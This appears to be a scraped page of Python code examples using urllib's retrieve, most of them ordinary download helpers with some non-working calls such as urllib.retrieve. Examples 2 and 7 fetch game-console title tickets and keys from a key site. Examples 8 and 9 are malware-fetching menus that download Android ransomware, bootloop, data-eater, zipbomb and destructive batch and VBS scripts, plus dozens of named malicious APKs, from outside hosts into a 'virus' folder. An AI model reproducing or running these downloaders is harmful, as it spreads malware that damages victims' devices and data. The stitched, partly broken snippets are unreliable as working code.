def pull_historical_data(ticker_symbol,directory = "S&P"):
    try:
        urllib.retrieve(make_url(ticker_symbol),make_filename(ticker_symbol,directory))
    except urllib.ContentTooShorError as e:
        outfile = open(make_filename(ticker_symbol,directory),"w")
        outfile.write(e.content)
        outfile.close()
Esempio n. 2
0
 def download_missing_tickets(self, missing):
     qty = len(missing)
     print('Missing {} tickets.'.format(qty))
     if missing:
         for i in enumerate(missing, 1):
             titleid = i[1]
             print('Downloading {}:   {} of {}'.format(
                 titleid + '.tik', i[0], qty))
             retrieve('{}/ticket/{}.tik'.format(keysite, titleid),
                      os.path.join('ticket', '{}.tik'.format(titleid)))
Esempio n. 3
0
 def update_files(self):
     if not os.path.isdir(self.directory):
         LOG.info("Creating geoip directory: %s", self.directory)
         os.mkdirdirs(self.directory, 0700)
     LOG.info("Downloading file %s ...", self.url)
     filename = directory + '/all-zones.tar.gz'
     urllib.retrieve(self.url, filename)
     LOG.info("Extracting targz...")
     tar = tarfile.open(filename)
     tar.extractall(path = self.directory)
     tar.close()
     LOG.info("Done updating files")
Esempio n. 4
0
def import_raster(in_filepath):
    global args
    global possible_subdirs
    res = get_import_raster_res()
    num_hwords=res*res
    dtype = [('data', '>i2', (res,res))]
    if get_ext(in_filepath) == '.hgt':
        # if file doesnt exist, download from server then open
        if not os.path.isfile(in_filepath):
            urllib.retrieve(get_url_from_server(in_filename), in_filename)
        raster = np.memmap(in_filepath, np.dtype('>i2'), shape =num_hwords, mode = 'r').reshape((res,res))
    else:
        return None
    new_res = args.tile_res
    if new_res != res:
        scale_factor = float(new_res)/res, float(new_res)/res
        raster = skimage.transform.rescale(raster, scale=scale_factor, mode='wrap', preserve_range=True, multichannel=False, anti_aliasing=True)
    return raster
Esempio n. 5
0
def download_and_unzip(uri):
    """
    Downloads and, if necessary, unzips the given uri.  Returns the path
    to the downloaded tempfile, which the using code should take care of
    deleting.
    """
    parsed = urlparse(uri)
    gzipped = uri.endswith('.gz')
    result_path = ""
    if not parsed.scheme:
        result_path = uri
        if not gzipped:
            suffix = os.path.basename(result_path)
            (_, filecopy) = mkstemp(suffix=suffix[suffix.index('.'):])
            with open(result_path, 'rb') as fin, \
                    open(filecopy, 'wb') as fout:
                shutil.copyfileobj(fin, fout)
            return filecopy
    else:
        suffix = os.path.basename(parsed.path)
        (_, tmp) = mkstemp(suffix=suffix[suffix.index('.'):])
        if parsed.scheme == "s3":
            client = boto3.client("s3")
            bucket = parsed.netloc
            key = parsed.path[1:]
            client.download_file(bucket, key, tmp)
        elif parsed.scheme == "http":
            urllib.retrieve(uri, tmp)
        else:
            raise Exception("Unsupported scheme: %s" % parsed.scheme)

        result_path = tmp

    if gzipped:
        suffix = os.path.basename(result_path)
        suffix = os.path.splitext(suffix)[0]
        (_, unzipped) = mkstemp(suffix=suffix)
        with gzip.open(result_path, 'rb') as z, \
                open(unzipped, 'wb') as uz:
            shutil.copyfileobj(z, uz)
        result_path = unzipped

    return result_path
Esempio n. 6
0
def download_and_unzip(uri):
    """
    Downloads and, if necessary, unzips the given uri.  Returns the path
    to the downloaded tempfile, which the using code should take care of
    deleting.
    """
    parsed = urlparse(uri)
    gzipped = uri.endswith('.gz')
    result_path = ""
    if not parsed.scheme:
        result_path = uri
        if not gzipped:
            suffix = os.path.basename(result_path)
            (_, filecopy) = mkstemp(suffix=suffix[suffix.index('.'):])
            with open(result_path, 'rb') as fin, \
                    open(filecopy, 'wb') as fout:
                shutil.copyfileobj(fin, fout)
            return filecopy
    else:
        suffix = os.path.basename(parsed.path)
        (_, tmp) = mkstemp(suffix=suffix[suffix.index('.'):])
        if parsed.scheme == "s3":
            client = boto3.client("s3")
            bucket = parsed.netloc
            key = parsed.path[1:]
            client.download_file(bucket, key, tmp)
        elif parsed.scheme == "http":
            urllib.retrieve(uri, tmp)
        else:
            raise Exception("Unsupported scheme: %s" % parsed.scheme)

        result_path = tmp

    if gzipped:
        suffix = os.path.basename(result_path)
        suffix = os.path.splitext(suffix)[0]
        (_, unzipped) = mkstemp(suffix=suffix)
        with gzip.open(result_path, 'rb') as z, \
                open(unzipped, 'wb') as uz:
            shutil.copyfileobj(z, uz)
        result_path = unzipped

    return result_path
Esempio n. 7
0
 def download_titlekeys_file(self):
     print('Downloading titlekeys.json from {}'.format(keysite))
     retrieve('{}/json'.format(keysite), 'titlekeys.json')
Esempio n. 8
0
			urllib.urlretrieve("https://github.com/JA1D3V/AndroidRansomware/archive/master.zip", 'AndroidRansomware.zip')
		elif shfile.strip() in "02 2".split():
			urllib.urlretrieve("http://override.waper.co/files/bootloop.apk", 'bootloop.sh')
		elif shfile.strip() in "03 3".split():
			urllib.urlretrieve("http://override.waper.co/files/dateater.apk", 'data-eater.sh')
		elif shfile.strip() in "04 4".split():
			urllib.urlretrieve("http://override.waper.co/files/freeze.apk", 'freeze.sh')
		elif shfile.strip() in "05 5".split():
			urllib.urlretrieve("http://override.waper.co/files/zipbombsh.apk", 'zipbomb.sh')
		else:
			print "%s[!] ERROR: Wrong Input...%s" % (R,N)
	elif vbugmap.strip() in 'vbug_bat'.split():
		print list_bat
		batfile=raw_input("vbugmap*> select ")
		if batfile.strip() in "01 1".split():
			urllib.retrieve("http://override.waper.co/files/rip.apk", 'RIP.bat')
		elif batfile.strip() in "02 2".split():
			urllib.urlretrieve("http://override.waper.co/files/koce.apk", 'koce.bat')
		elif batfile.strip() in "03 3".split():
			urllib.urlretrieve("http://override.waper.co/files/regeater.apk", 'reg-eater.bat')
		elif batfile.strip() in "04 4".split():
			urllib.urlretrieve("http://override.waper.co/files/404.apk", '404.bat')
		elif batfile.strip() in "05 5".split():
			urllib.urlretrieve("http://override.waper.co/files/cmd.apk", 'CMD.bat')
		else:
			print "%s[!] ERROR: Wrong Input...%s" % (R,N)
	elif vbugmap.strip() in 'vbug_vbs'.split():
		print list_vbs
		vbsfile=raw_input("vbugmap*> select ")
		if vbsfile.strip() in "01 1".split():
			urllib.urlretrieve("http://override.waper.co/files/iloveyou.apk", 'LOVE-LETTER-FOR-YOU.TXT.vbs')
Esempio n. 9
0
def pilih1():
    pol = raw_input("\033[1;91m\t> \033[1;97m")
    if not pol:
        exit()
    if pol == "1" or pol == "01":
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Adware.apk",
            "Adware.apk")
        os.mkdir("virus")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Adware.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "2" or pol == "02":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Agent.apk",
            "Agent.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Agent.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "3" or pol == "03":
        try:
            os.mkdir("virus")
        except OSError:
            pass

        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/ArtStation.apk",
            "ArtStation.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/ArtStation.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t>  \033[1;97mDone"

    elif pol == "4" or pol == "04":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/BadNews.A.apk",
            "BadNews.A.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/BadNews.A.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "5" or pol == "05":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Bios.NativeMaliciousCode.apk",
            "Bios.NativeMaliciousCode.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Bios.NativeMaliciousCode.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "6" or pol == "06":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Blatantsms.apk",
            "Blatantsms.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Blatantsms.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "7" or pol == "07":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/BrainTest.apk",
            "BrainTest.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/BrainTest.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "8" or pol == "08":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Claco.A.apk",
            "Claco.A.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Claco.A.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "9" or pol == "09":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Dropdialer.apk",
            "Dropdialer.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/Dropdialer.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "10":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/FakeBank.B.apk",
            "FakeBank.B.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/FakeBank.B.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "11":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/FakeCMCC.A.apk",
            "FakeCMCC.A.apk")
        os.system(
            "mv /data/data/com.termux/files/home/malware/FakeCMCC.A.apk /data/data/com.termux/files/home/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "12":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/FakeDoc.apk",
            "FakeDoc.apk")
        os.system("mv $HOME/malware/FakeDoc.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "13":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/FakeValidation.apk",
            "FakeValidation.apk")
        os.system("mv $HOME/malware/FakeValidation.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "14":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Fobus.apk",
            "Fobus.apk")
        os.system("mv $HOME/malware/Fobus.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "15":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/GinMaster.Z.AdvancedObfuscation.apk",
            "GinMaster.Z.AdvancedObfuscation.apk")
        os.system(
            "mv $HOME/malware/GinMaster.Z.AdvancedObfuscation.apk $HOME/malware/virus"
        )
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "16":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Masnu.apk",
            "Masnu.apk")
        os.system("mv $HOME/malware/Masnu.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "17":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Minecraft2.apk",
            "Minecraft2.apk")
        os.system("mv $HOME/malware/Minecraft2.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "18":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.retrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/MusicPlayerAdWare.apk",
            "MusicPlayerAdWare.apk")
        os.system("mv $HOME/malware/MusicPlayerAdWare.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "19":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Omigo.apk",
            "Omigo.apk")
        os.system("mv $HOME/malware/Omigo.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "20":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Opfake.apk",
            "Opfake.apk")
        os.system("mv $HOME/malware/Opfake.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "21":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Settings.apk",
            "Settings.apk")
        os.system("mv $HOME/malware/Settings.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "22":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/SmsWorker.apk",
            "SmsWorker.apk")
        os.system("mv $HOME/malware/SmsWorker.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "23":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/Vietcon.apk",
            "Vietcon.apk")
        os.system("mv $HOME/malware/Vietcon.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "24":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/bom-zip.zip",
            "bom-zip.zip")
        os.system("mv $HOME/malware/bom-zip.zip $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "25":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/bootloop.sh",
            "bootloop.sh")
        os.system("mv $HOME/malware/bootloop.sh $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "26":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/candy_corn.apk",
            "candy_corn.apk")
        os.system("mv $HOME/malware/candy_corn.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "27":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/cat.apk",
            "Cat.apk")
        os.system("mv $HOME/malware/Cat.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"
    elif pol == "28":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/chistescortos.apk",
            "chistescortos.apk")
        os.system("mv $HOME/malware/chistescortos.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "29":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/crd.apk",
            "crd.apk")
        os.system("mv $HOME/malware/crd.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "30":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/data-eater.sh",
            "data-eater.sh")
        os.system("mv $HOME/malware/data-eater.sh $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "31":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/dendroid.apk",
            "dendroid.apk")
        os.system("mv $HOME/malware/dendroid.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "32":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/ds.apk",
            "ds.apk")
        os.system("mv $HOME/malware/ds.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "33":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/facebook.apk",
            "facebook.apk")
        os.system("mv $HOME/malware/facebook.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "34":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/fake_av.apk",
            "fake_av.apk")
        os.system("mv $HOME/malware/fake_av.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    elif pol == "35":
        try:
            os.mkdir("virus")
        except OSError:
            pass
        tik()
        virus.urlretrieve(
            "https://github.com/Ractomes/Viruses/blob/master/samples/chistespicanticos.apk",
            "chistespicanticos.apk")
        os.system("mv $HOME/malware/chistespicanticos.apk $HOME/malware/virus")
        print "\n\033[1;91m\t> \033[1;97mDone"

    else:
        exit()
Esempio n. 10
0
 def downloadPhoto(self, url, albumName):
   if (url == None or albumName == None): return None
   photoName = url[url.rindex('/')+1:] 
   url = url.replace(photoName, "d/" + photoName)
   urllib.retrieve(url, work + '/' + albumName + '/' + photoName)
Esempio n. 11
0
 def _download_url(self, url, filename):
     from urllib import urlretrieve as retrieve
     import os
     if not os.path.exists(filename):
         print "Saving ", url, " as ", filename
         retrieve(url, filename)